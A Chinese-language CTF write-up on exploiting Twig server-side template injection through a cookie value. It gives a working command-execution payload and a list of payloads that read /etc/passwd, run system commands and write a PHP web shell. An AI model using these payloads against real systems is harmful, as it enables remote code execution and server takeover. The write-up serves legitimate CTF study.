信息收集
hint页面
<!-- Why not take a closer look at cookies? -->
flag页面
输入任意内容(这里输入admin)
这里第一反应是cookie类的SQL注入?但是发现这里其实并没有实现查询信息的功能,只是将输入的内容进行打印,看下前端源码,可能是SSTI!
修改cookie
${7*7}----------{{7*7}}---------{{7*'7'}}
确认是SSTI(PHP),根据上文的流程表判定类型是Twig
在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range()
函数用来返回一个包含整数等差数列的列表:
{% for i in range(0, 3) %}{{ i }},{% endfor %}
在twig 1.x版本,存在三个全局变量
_self
:引用当前模板实例_context
:引用上下文_charset
:引用当前字符集
命令执行
payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
这里可以直接修改cookie,因为直接提交会被拦截
当然flag在根目录下是猜的,我们使用命令返回的结果只有第一项
一些新版本的payload
1. {{'/etc/passwd'|file_excerpt(1,30)}} 2. 3. {{app.request.files.get(1).__construct('/etc/passwd','')}} 4. 5. {{app.request.files.get(1).openFile.fread(99)}} 6. 7. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}} 8. 9. {{_self.env.enableDebug()}}{{_self.env.isDebug()}} 10. 11. {{["id"]|map("system")|join(",") 12. 13. {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} 14. 15. {{["id",0]|sort("system")|join(",")}} 16. 17. {{["id"]|filter("system")|join(",")}} 18. 19. {{[0,0]|reduce("system","id")|join(",")}} 20. 21. {{['cat /etc/passwd']|filter('system')}}
reference
https://xz.aliyun.com/t/7518#toc-5
https://www.freebuf.com/articles/web/314028.html